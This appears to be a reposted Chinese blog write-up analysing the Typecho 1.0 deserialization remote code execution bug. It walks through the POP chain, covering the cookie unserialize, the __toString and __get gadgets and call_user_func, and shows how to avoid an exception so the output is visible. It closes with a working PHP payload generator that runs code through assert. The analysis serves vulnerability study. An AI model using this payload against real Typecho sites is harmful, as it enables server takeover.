Typecho-反序列化漏洞学习

本文深入解析Typecho CMS中的反序列化漏洞,通过构造特定的payload,演示如何利用__toString和__get魔术方法触发远程代码执行。文章详细记录了漏洞分析过程,包括调试技巧和利用链构建。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Typecho-反序列化漏洞学习

0x00 前言

补丁:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f

这里我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release

0x01 分析过程

这个漏洞非常有趣。首先是一个可控参数的反序列化表达式。然后构造pop链,寻找__destruct方法,然而没有找到可利用的。但是通过对反序列化后的变量跟踪发现,有对其当作字符串调用,因此寻找__toString方法。

这个程序一共就只有三个__toString,我自己找的时候只找到一个“类似SQL注入”的点,后来通过利用autoload机制(参考p牛的CSRF到任意代码执行)将那个类加载进来。后来又通过一顿分析发现,其只是返回一个SELECT语句的字符串,然后我就没再跟进了,说不定可以构造成一个反射xss(从反序列化到反射xss???)。

然后看了一下大佬的blog,大佬在另一处__toString中找到了一个方法调用:$item[..]->screenName。由于$item可控,因此这里可以使$item[..]为一个没有screenName属性的对象,当访问一个对象没有的属性时就会寻找它的__get方法!所以大佬这里就找了一个存在危险操作的__get方法的类。果然我还是太菜了,满脑子就只有__destruct和__wakeup。

跟进__get之后,经过一系列的调用,调用了同类下的某个filter方法,然后在里面进行了call_user_func,两个参数都可控,至此利用链分析完毕。

构建poc后发现页面返回了500错误,我们的phpinfo()并没有回显出来。经过调试发现,因为程序对反序列化之后的内容进行处理时抛出了异常,导致报了错。我们可以将程序提前exit,不经过后面的报错即可。

0x02 调试

首先看一下访问到漏洞点的前置条件

1077935-20190430205227340-103350684.png

这里会对referer头做一个校验,refer中的host值需要与$_SERVER['HTTP_HOST']的值相等。

下面看一下漏洞点

1077935-20190430205236029-1111081570.png

这里需要传入一个finish参数,然后在230行将cookie中的__typecho_config的值通过base64解码之后反序列化。
再往下看两行到232行,这里将$config['adapter']作为第一个参数传入到Typecho_Db()中。$config就是反序列化传来的对象,因此这个参数也是我们可控的。我们跟进一下Typecho_Db()

1077935-20190430205241976-1250256953.png

跟进其构造方法之后发现,这里将我们传来的第一个参数做字符串拼接,如果第一个参数是对象的话,那么这里就会调用其__toString()方法。刚好,第一个参数是我们可控的。

通过寻找__toString方法,找到了一个Typecho_Feed类。

1077935-20190430205247795-184072622.png

1077935-20190430205253193-81929107.png

在第二张图中可以看到$item['author']->screenName。如果$item['author']是一个不能存在screenName属性的类的话,那么这里就会调用这个类的__get()魔术方法。刚好,这里的$item是我们可控的。因此下面就找哪些类没有screenName属性,并且__get方法存在危险操作。

最后找到了Typecho_Request类
1077935-20190430205300864-1411198836.png

1077935-20190430205308011-1424495731.png

可以看到$value是可控的。下面跟进一下_applyFilter方法

1077935-20190430205332467-1519156306.png

可以看到,这里有个call_user_func方法,且$filter和$value都可控。至此这条pop链基本是构造完了。

可是构造完payload发现页面响应500,我们的phpinfo()并没有回显出来。经过调试发现,因为程序对反序列化之后的内容进行处理时抛出了异常,导致报了错。如下。

1077935-20190430205339906-789598836.png

可以看到这里首先抛出了一个Typecho_Db_Exception异常,跟进。

1077935-20190430205345134-2047587542.png

1077935-20190430205351705-1860272778.png

可以看到调用了ob_end_clean()清空了缓冲区。接着跟到self::error。

1077935-20190430205357351-898901106.png

1077935-20190430205405679-218996309.png

可以看到,这里配置了一些报错变量,并在最后输出到模板中,然后exit退出了程序。

暂时知道有两种方法来输出payload的结果:
1)提前exit程序,让程序不运行到抛出异常处
2)提前将缓冲区内容打印到页面上
对于1),这里有两种实现方法,第一种是seebug作者的方法,通过使程序运行出错自动exit,还有一种是直接简单粗暴地将exit放到我们的payload中。
对于2),我本想使用ob_end_flush()之类的方法,但是程序在调用时会传入一个参数,导致ob_end_flush()执行失败,因为这个方法是不接受参数的,所以对于第2)个方法,目前没找到出路。

所以这里我将exit放到payload中,成功提前退出,回显了phpinfo。

1077935-20190430205414520-1498615494.png

payload如下

<?php

    class Typecho_Feed{
        private $_type;
        private $_items = array();

        public function __construct(){
            $this->_type = "RSS 2.0";
            $this->_items = array(
                array(
                    "title" => "test",
                    "link" => "test",
                    "data" => "20190430",
                    "author" => new Typecho_Request(),
                ),
            );
        }
    }

    class Typecho_Request{
        private $_params = array();
        private $_filter = array();

        public function __construct(){
            $this->_params = array(
                "screenName" => "eval('phpinfo();exit;')",
            );
            $this->_filter = array("assert");
        }
    }

    $a = new Typecho_Feed();

    $c = array(
        "adapter" => $a,
        "prefix" => "test",
    );

    echo base64_encode(serialize($c));

0x03 总结

这个漏洞最精彩的部分就是通过调用__toString再来调用一层__get魔术方法,可惜自己没法把这些已有的点联系起来,还是多学习吧。

0xFF 参考

https://paper.seebug.org/424/

转载于:https://www.cnblogs.com/litlife/p/10798061.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值